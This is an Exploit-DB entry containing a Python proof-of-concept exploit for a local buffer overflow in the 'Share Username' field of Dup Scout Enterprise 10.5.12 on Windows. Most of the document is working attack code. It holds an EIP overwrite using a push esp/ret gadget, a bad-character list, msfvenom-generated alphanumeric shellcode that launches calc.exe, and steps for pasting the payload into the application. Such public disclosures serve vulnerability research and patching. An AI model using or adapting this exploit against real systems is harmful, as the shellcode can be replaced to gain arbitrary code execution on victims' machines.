Dup Scout Enterprise 10.5.12 - 'Share Username' Local Buffer Overflow

EDB-ID:

44244

CVE:

N/A

Author:

bzyo

Type:

local

Platform:

Windows

Published:

2018-03-05

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Dup Scout Enterprise 10.5.12 - Local Buffer Overflow
# Date: 02-22-2018
# Vulnerable Software: Dup Scout Enterprise v10.5.12
# Vendor Homepage: http://www.dupscout.com
# Version: 10.5.12
# Software Link: http://www.dupscout.com/downloads.html
# Tested On: Windows 7 x86
#
# bad chars \x00\x0a and everything above \x80
#
# PoC: 
# 1. generate dupscout.txt, copy contents to clipboard
# 2. open app, select Server, select Connect
# 3. type anything into Share Name, paste dupscout.txt contents into User Name
# 4. select Connect and then OK
# 5. pop calc
#

filename="dupscout.txt"

junk = "A"*792

#0x10021144 : push esp # ret  | ascii {PAGE_EXECUTE_READ} [libspg.dll]
eip = "\x44\x11\x02\x10"

fill = "\x43"*560

#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=ESP -f c
#Payload size: 440 bytes
calc = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6b\x58\x6b\x32\x53\x30"
"\x57\x70\x67\x70\x53\x50\x4e\x69\x39\x75\x54\x71\x39\x50\x61"
"\x74\x6c\x4b\x66\x30\x44\x70\x6c\x4b\x73\x62\x46\x6c\x6e\x6b"
"\x66\x32\x66\x74\x4e\x6b\x62\x52\x65\x78\x44\x4f\x78\x37\x72"
"\x6a\x46\x46\x44\x71\x6b\x4f\x4c\x6c\x57\x4c\x53\x51\x51\x6c"
"\x47\x72\x34\x6c\x47\x50\x69\x51\x6a\x6f\x64\x4d\x37\x71\x59"
"\x57\x6d\x32\x5a\x52\x51\x42\x61\x47\x4e\x6b\x36\x32\x44\x50"
"\x6c\x4b\x73\x7a\x55\x6c\x4c\x4b\x42\x6c\x52\x31\x63\x48\x6d"
"\x33\x32\x68\x43\x31\x5a\x71\x53\x61\x6c\x4b\x36\x39\x31\x30"
"\x73\x31\x4e\x33\x4c\x4b\x50\x49\x65\x48\x39\x73\x46\x5a\x37"
"\x39\x4e\x6b\x64\x74\x4e\x6b\x63\x31\x78\x56\x35\x61\x6b\x4f"
"\x6e\x4c\x39\x51\x7a\x6f\x46\x6d\x63\x31\x4b\x77\x50\x38\x6d"
"\x30\x32\x55\x79\x66\x35\x53\x71\x6d\x78\x78\x57\x4b\x61\x6d"
"\x35\x74\x70\x75\x69\x74\x30\x58\x4c\x4b\x30\x58\x31\x34\x75"
"\x51\x69\x43\x70\x66\x4c\x4b\x44\x4c\x50\x4b\x6c\x4b\x42\x78"
"\x75\x4c\x76\x61\x4e\x33\x4e\x6b\x57\x74\x4e\x6b\x55\x51\x6a"
"\x70\x4d\x59\x67\x34\x67\x54\x77\x54\x63\x6b\x53\x6b\x33\x51"
"\x42\x79\x73\x6a\x33\x61\x69\x6f\x59\x70\x61\x4f\x61\x4f\x42"
"\x7a\x6e\x6b\x34\x52\x58\x6b\x6e\x6d\x61\x4d\x62\x4a\x35\x51"
"\x4c\x4d\x4f\x75\x4f\x42\x73\x30\x33\x30\x63\x30\x46\x30\x42"
"\x48\x45\x61\x6e\x6b\x52\x4f\x4d\x57\x6b\x4f\x4a\x75\x4d\x6b"
"\x4c\x30\x58\x35\x39\x32\x51\x46\x51\x78\x49\x36\x4a\x35\x6f"
"\x4d\x4d\x4d\x59\x6f\x4a\x75\x55\x6c\x54\x46\x31\x6c\x65\x5a"
"\x6d\x50\x59\x6b\x49\x70\x31\x65\x37\x75\x4f\x4b\x73\x77\x62"
"\x33\x62\x52\x52\x4f\x53\x5a\x73\x30\x76\x33\x79\x6f\x68\x55"
"\x62\x43\x70\x61\x42\x4c\x35\x33\x76\x4e\x53\x55\x30\x78\x43"
"\x55\x43\x30\x41\x41")

buffer = junk + eip + calc + fill
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()